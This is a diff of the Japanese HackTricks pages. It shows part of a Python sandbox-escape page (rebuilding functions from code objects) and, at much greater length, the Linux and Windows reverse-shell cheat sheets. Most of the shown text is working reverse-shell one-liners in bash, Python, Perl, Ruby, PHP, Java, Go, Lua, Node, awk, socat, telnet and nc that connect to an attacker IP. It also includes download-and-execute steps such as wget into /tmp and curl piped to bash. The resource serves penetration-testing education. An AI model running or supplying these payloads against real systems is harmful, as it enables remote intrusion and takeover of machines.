47 RETURN_VALUE
|
||||
```
|
||||
注意してください。**Pythonサンドボックスで`dis`をインポートできない場合**、関数の**バイトコード** (`get_flag.func_code.co_code`) を取得し、ローカルで**逆アセンブル**することができます。ロードされる変数の内容 (`LOAD_CONST`) は表示されませんが、`LOAD_CONST` はロードされる変数のオフセットも示しているため、(`get_flag.func_code.co_consts`) からそれらを推測することができます。
|
||||
注意してください。**Pythonサンドボックスで`dis`をインポートできない場合**、関数の**バイトコード** (`get_flag.func_code.co_code`) を取得し、ローカルで**逆アセンブル**できます。ロードされる変数の内容 (`LOAD_CONST`) は表示されませんが、`LOAD_CONST` はロードされる変数のオフセットも示しているため、(`get_flag.func_code.co_consts`) からそれらを推測することができます。
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -948,7 +954,7 @@ types.CodeType.__doc__
|
|||
### リークした関数の再現
|
||||
|
||||
{% hint style="warning" %}
|
||||
次の例では、関数コードオブジェクトから直接関数を再作成するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するために必要なすべての**値**が**漏洩する必要がある**ことに注意してください。
|
||||
次の例では、関数コードオブジェクトから直接関数を再作成するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するために必要なすべての**値**が**漏洩する必要がある**ものです。
|
||||
{% endhint %}
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
|
@ -963,7 +969,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
### 防御をバイパスする
|
||||
|
||||
この投稿の冒頭での以前の例では、`compile`関数を使用して**どのようにしてPythonコードを実行するか**を見ることができます。これは興味深いことです。なぜなら、**ループを含むスクリプト全体を**(そして**`exec`**を使用して同じことができます)**ワンライナーで実行できる**からです。\
|
||||
とにかく、**ローカルマシン**で**コンパイルされたオブジェクト**を作成し、**CTFマシン**でそれを実行することが便利な場合があります(たとえば、CTFに`compile`関数がないため)。
|
||||
とにかく、**ローカルマシン**で**コンパイルされたオブジェクト**を作成して**CTFマシン**で実行することが便利な場合があります(たとえば、CTFに`compile`関数がない場合など)。
|
||||
|
||||
例えば、次のように手動で_./poc.py_を読み込む関数をコンパイルして実行しましょう:
|
||||
```python
|
||||
|
@ -992,7 +998,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
もし`eval`や`exec`にアクセスできない場合は、**適切な関数**を作成することができますが、それを直接呼び出すと通常は「制限モードでコンストラクタにアクセスできません」というエラーが発生します。そのため、**制限された環境にない関数がこの関数を呼び出す必要があります。**
|
||||
もし`eval`や`exec`にアクセスできない場合は、**適切な関数**を作成することができますが、それを直接呼び出すと通常は「_constructor not accessible in restricted mode_」というエラーが発生します。そのため、**制限された環境にない関数がこの関数を呼び出す必要があります。**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1014,7 +1020,7 @@ f(42)
|
|||
|
||||
### Assert
|
||||
|
||||
パラメータ`-O`を使用して最適化されたPythonは、**debug**の値に依存するアサート文やコードを削除します。\
|
||||
最適化された状態で実行されるPythonは、パラメータ`-O`を使用して実行されると、**debug**の値に依存するアサート文やコードが削除されます。\
|
||||
したがって、以下のようなチェックは
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
@ -1033,18 +1039,22 @@ print(f"\nNot a Super User!!!\n")
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
***
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする**
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,18 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。**
|
||||
* **ハッキングトリックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに貢献する。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
**これらのシェルに関する質問がある場合は、** [**https://explainshell.com/**](https://explainshell.com) **で確認できます**
|
||||
|
||||
## フルTTY
|
||||
|
@ -46,11 +54,11 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
```
|
||||
#### シェルの説明
|
||||
|
||||
1. **`bash -i`**: この部分のコマンドは、インタラクティブ(`-i`)なBashシェルを起動します。
|
||||
2. **`>&`**: この部分のコマンドは、**標準出力(`stdout`)と標準エラー(`stderr`)を同じ宛先にリダイレクト**するための短縮表記です。
|
||||
1. **`bash -i`**: このコマンドの部分は、インタラクティブ(`-i`)なBashシェルを開始します。
|
||||
2. **`>&`**: このコマンドの部分は、**標準出力(`stdout`)と標準エラー(`stderr`)を同じ宛先にリダイレクト**するための短縮表記です。
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: これは、指定されたIPアドレスとポートへのTCP接続を表す特別なファイルです。
|
||||
* **出力とエラーストリームをこのファイルにリダイレクト**することで、コマンドはインタラクティブシェルセッションの出力を攻撃者のマシンに送信します。
|
||||
4. **`0>&1`**: この部分のコマンドは、**標準入力(`stdin`)を標準出力(`stdout`)と同じ宛先にリダイレクト**します。
|
||||
4. **`0>&1`**: このコマンドの部分は、**標準入力(`stdin`)を標準出力(`stdout`)と同じ宛先にリダイレクト**します。
|
||||
|
||||
### ファイルを作成して実行
|
||||
```bash
|
||||
|
@ -59,11 +67,11 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
```
|
||||
## フォワードシェル
|
||||
|
||||
LinuxベースのWebアプリケーション内の**Remote Code Execution (RCE)**脆弱性を処理する際、逆シェルを達成することがiptablesルールや複雑なパケットフィルタリングメカニズムなどのネットワーク防御によって妨げられることがあります。そのような制約のある環境では、より効果的に侵害されたシステムとやり取りするためにPTY(擬似端末)シェルを確立する代替手段があります。
|
||||
LinuxベースのWebアプリケーション内の**Remote Code Execution (RCE)**脆弱性を処理する際、逆シェルを達成することがiptablesルールや複雑なパケットフィルタリングメカニズムなどのネットワーク防御によって妨げられることがあります。そのような制約のある環境では、より効果的に侵害されたシステムとやり取りするためにPTY(擬似端末)シェルを確立する代替アプローチがあります。
|
||||
|
||||
この目的のための推奨ツールは、[toboggan](https://github.com/n3rada/toboggan.git)であり、これにより対象環境とのやり取りが簡素化されます。
|
||||
|
||||
tobogganを効果的に利用するには、対象システムのRCEコンテキストに合わせたPythonモジュールを作成します。例えば、`nix.py`という名前のモジュールは次のように構成されることがあります。
|
||||
tobogganを効果的に利用するには、対象システムのRCEコンテキストに合わせたPythonモジュールを作成します。例えば、`nix.py`というモジュールは次のように構造化できます。
|
||||
```python3
|
||||
import jwt
|
||||
import httpx
|
||||
|
@ -87,7 +95,7 @@ response.raise_for_status()
|
|||
|
||||
return response.text
|
||||
```
|
||||
そして、次のコマンドを実行できます:
|
||||
そして、次のコマンドを実行できます:
|
||||
```shell
|
||||
toboggan -m nix.py -i
|
||||
```
|
||||
|
@ -119,7 +127,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
|
|||
```
|
||||
## Telnet
|
||||
|
||||
Telnetは、ネットワーク上でコンピューターにリモートアクセスするためのプロトコルです。通常、Telnetを使用してリモートシェルに接続し、コマンドを実行することができます。 Telnetはセキュリティ上のリスクがあるため、代わりにSSHなどのより安全なプロトコルを使用することが推奨されています。
|
||||
Telnetは、ネットワーク上でコンピュータ間で通信を行うためのプロトコルです。通常、Telnetを使用してリモートシステムに接続し、コマンドを実行することができます。
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
|
@ -142,7 +150,7 @@ export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X
|
|||
```
|
||||
## Python
|
||||
|
||||
Pythonは、多くのハッカーにとってお気に入りのスクリプト言語です。Pythonは、シンプルで読みやすく、多くのOSで動作するため、ハッキングに最適です。Pythonは、ネットワークスキャン、データ解析、Webアプリケーションの開発など、さまざまなハッキングタスクに使用されます。
|
||||
Pythonは、多くのハッカーにとってお気に入りのスクリプト言語です。Pythonは、シンプルで読みやすく、多くのライブラリやフレームワークが利用可能です。Pythonを使用することで、効率的にスクリプトを作成し、様々なハッキングタスクを自動化することができます。Pythonは、ネットワークスキャン、脆弱性スキャン、データ解析など、さまざまな目的に使用されています。
|
||||
```bash
|
||||
#Linux
|
||||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
|
@ -150,23 +158,19 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
|
|||
#IPv6
|
||||
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
||||
```
|
||||
## Perl
|
||||
|
||||
Perlは、多くのUnixシステムで利用可能なスクリプト言語であり、シェルスクリプトの代替として使用されることがあります。Perlスクリプトは、システムコマンドを実行し、ファイルを操作し、ネットワークソケットを介して通信するために使用されます。Perlは、シェルスクリプトよりも柔軟で強力な機能を提供し、多くのハッカーにとって魅力的な選択肢となっています。
|
||||
## パール
|
||||
```bash
|
||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Rubyは、多くのハッカーにとって人気のあるスクリプト言語です。Rubyスクリプトを使用して、シェルスクリプトを実行することができます。Rubyは、Linuxシステムでのハッキング作業において非常に便利なツールとなります。
|
||||
## ルビー
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## PHP
|
||||
|
||||
PHP(Hypertext Preprocessor)は、Web開発に広く使用されるスクリプト言語です。PHPは、サーバーサイドで実行され、動的なWebページの生成に適しています。PHPは、HTMLに埋め込んで使用することができ、データベースとの連携も容易です。
|
||||
PHP(PHP: Hypertext Preprocessor)は、Web開発に広く使用されるスクリプト言語です。PHPは、サーバーサイドで実行され、動的なWebページを生成するために使用されます。PHPは、HTMLに埋め込んで使用することができ、データベースとの連携やフォームの処理など、さまざまなWeb開発タスクに適しています。
|
||||
```php
|
||||
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
||||
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
||||
|
@ -179,6 +183,8 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
|
|||
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
|
||||
```
|
||||
## Java
|
||||
|
||||
Javaは、オブジェクト指向プログラミング言語であり、クロスプラットフォームで使用されることが多い。Javaは、セキュリティ、パフォーマンス、および信頼性に焦点を当てて設計されており、多くのアプリケーションやシステムで広く使用されている。Javaは、セキュリティホールや脆弱性が発見されることがあるため、最新のセキュリティパッチを適用することが重要である。
|
||||
```bash
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
|
@ -186,20 +192,43 @@ p.waitFor()
|
|||
```
|
||||
## Ncat
|
||||
|
||||
Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. It supports various protocols for network connections and security features like SSL. Ncat can be used for port scanning, banner grabbing, transferring files, and port redirection.
|
||||
Ncat is a feature-packed networking utility that reads and writes data across networks from the command line. It supports various protocols and offers many advanced features, making it a powerful tool for network debugging and exploration.
|
||||
```bash
|
||||
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
||||
attacker> ncat -v 10.0.0.22 4444 --ssl
|
||||
```
|
||||
## Golang
|
||||
|
||||
## Golang
|
||||
### Linux
|
||||
|
||||
#### Reverse Shell
|
||||
|
||||
A reverse shell in Golang can be achieved by importing the `os/exec` package and using it to execute commands on the target machine. Below is an example code snippet for a basic reverse shell in Golang:
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func main() {
|
||||
cmd := exec.Command("/bin/bash", "-c", "exec 5<>/dev/tcp/attacker_ip/attacker_port; cat <&5 | while read line; do $line 2>&5 >&5; done")
|
||||
cmd.Start()
|
||||
cmd.Wait()
|
||||
}
|
||||
```
|
||||
|
||||
In this code snippet, replace `attacker_ip` with the IP address of the attacker machine and `attacker_port` with the port number the attacker is listening on. This code snippet establishes a reverse shell connection to the attacker machine.
|
||||
|
||||
Remember to always use such techniques responsibly and with proper authorization.
|
||||
```bash
|
||||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||
```
|
||||
## Lua
|
||||
|
||||
Luaは、軽量で高速なスクリプト言語であり、組み込みシステムやゲーム開発などのさまざまな用途に使用されています。LuaはC言語で実装されており、シンプルな構文と強力な拡張性を備えています。Luaスクリプトは、Luaのインタプリタを介して実行されます。
|
||||
Luaは、軽量で高速なスクリプト言語であり、組み込みシステムやゲーム開発などのさまざまな用途に使用されています。LuaはC言語で実装されており、シンプルな構文と強力な拡張性を備えています。Luaスクリプトは、Luaのインタプリタを介して実行されます。Luaは、柔軟性と使いやすさを兼ね備えた言語であり、多くのプログラマーにとって魅力的な選択肢です。
|
||||
```bash
|
||||
#Linux
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
|
@ -208,7 +237,7 @@ lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket")
|
|||
```
|
||||
## NodeJS
|
||||
|
||||
NodeJSは、JavaScriptランタイム環境であり、サーバーサイドでのスクリプト実行に使用されます。NodeJSは非同期イベント駆動型のアーキテクチャを持ち、高速で効率的なネットワークアプリケーションの構築に適しています。
|
||||
NodeJSは、非同期イベント駆動のJavaScriptランタイム環境であり、サーバーサイドでのJavaScript実行を可能にします。NodeJSは、Webアプリケーションやネットワークアプリケーションの開発に広く使用されています。
|
||||
```javascript
|
||||
(function(){
|
||||
var net = require("net"),
|
||||
|
@ -283,7 +312,7 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
|||
```
|
||||
## Awk
|
||||
|
||||
Awkは、テキストとデータ処理のための強力なプログラミング言語です。Awkは、行指向のプログラミング言語であり、パターンスキャンと処理を行うために広く使用されています。Awkは、Linuxシェルスクリプト内で使用されることが一般的であり、ファイルやテキストデータの処理に便利です。
|
||||
Awkは、テキストとデータ処理のための強力なプログラミング言語です。Awkは、行指向のプログラミング言語であり、パターンスキャンと処理を行うために使用されます。Awkは、Linuxシェルスクリプト内で使用されることがよくあります。Awkは、フィールド分割、変数、制御構造、および関数などの機能を提供します。Awkは、テキストファイルの処理やデータ抽出など、さまざまなタスクに使用されます。
|
||||
```bash
|
||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
```
|
||||
|
@ -307,7 +336,7 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
|
|||
|
||||
### Gawk
|
||||
|
||||
Gawkは、テキスト処理とパターンスキャンに特化した強力なプログラミング言語です。Linuxシェルスクリプト内で使用され、パイプ処理やフィルタリングに便利です。
|
||||
Gawkは、テキスト処理とパターンスキャンに特化した強力なプログラミング言語です。Linuxシェルスクリプト内で使用され、パイプ処理やファイル処理などのタスクを自動化するのに役立ちます。Gawkは、フィールド分割、パターンマッチング、およびデータベース操作などの機能を提供し、シェルスクリプトの機能を拡張します。
|
||||
```bash
|
||||
#!/usr/bin/gawk -f
|
||||
|
||||
|
@ -332,11 +361,11 @@ close(Service)
|
|||
```
|
||||
## Xterm
|
||||
|
||||
これは、ポート6001であなたのシステムに接続しようとします。
|
||||
これは、ポート6001であなたのシステムに接続しようとします:
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
逆シェルをキャッチするために、以下を使用できます(ポート6001で待ち受けます):
|
||||
逆シェルをキャッチするために使用できる(ポート6001でリッスンする):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
|
@ -359,16 +388,22 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください。**
|
||||
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローする。**
|
||||
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出する。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする**
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Lolbas
|
||||
|
||||
ページ[ lolbas-project.github.io](https://lolbas-project.github.io/) は、Linux用の [https://gtfobins.github.io/](https://gtfobins.github.io/) に似たWindows用です。\
|
||||
ページ [lolbas-project.github.io](https://lolbas-project.github.io/) は、Linux用の [https://gtfobins.github.io/](https://gtfobins.github.io/) に相当するWindows向けです。\
|
||||
明らかに、**WindowsにはSUIDファイルやsudo権限はありません**が、**いくつかのバイナリ**が(悪用されて)**任意のコードを実行する**など、予期しないアクションを実行する方法を知っていると便利です。
|
||||
|
||||
## NC
|
||||
|
@ -25,7 +33,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/)は、携帯可能で安全なNetcatの代替手段**です。Unix系システムとWin32で動作します。強力な暗号化、プログラムの実行、カスタマイズ可能なソースポート、継続的な再接続などの機能を備えており、TCP/IP通信の多目的なソリューションを提供します。Windowsユーザーにとって、Kali Linuxディストリビューションからのsbd.exeバージョンは、Netcatの信頼性のある代替手段として使用できます。
|
||||
**[sbd](https://www.kali.org/tools/sbd/)は、携帯可能で安全なNetcatの代替手段**です。Unix系システムとWin32で動作します。強力な暗号化、プログラムの実行、ソースポートのカスタマイズ、継続的な再接続などの機能を備えており、TCP/IP通信の多目的なソリューションを提供します。Windowsユーザーにとっては、Kali Linuxディストリビューションからのsbd.exeバージョンがNetcatの信頼性のある代替手段として使用できます。
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
|
@ -39,14 +47,12 @@ uid=0(root) gid=0(root) groups=0(root)
|
|||
```
|
||||
## Python
|
||||
|
||||
Pythonは、Windowsシステムで使用される一般的なスクリプト言語です。Pythonスクリプトを使用して、Windowsシステムでの様々なタスクを自動化したり、システムに侵入したりすることができます。Pythonは、Windowsシステムでのハッキングやペネトレーションテストに広く使用されています。
|
||||
## パイソン
|
||||
```bash
|
||||
#Windows
|
||||
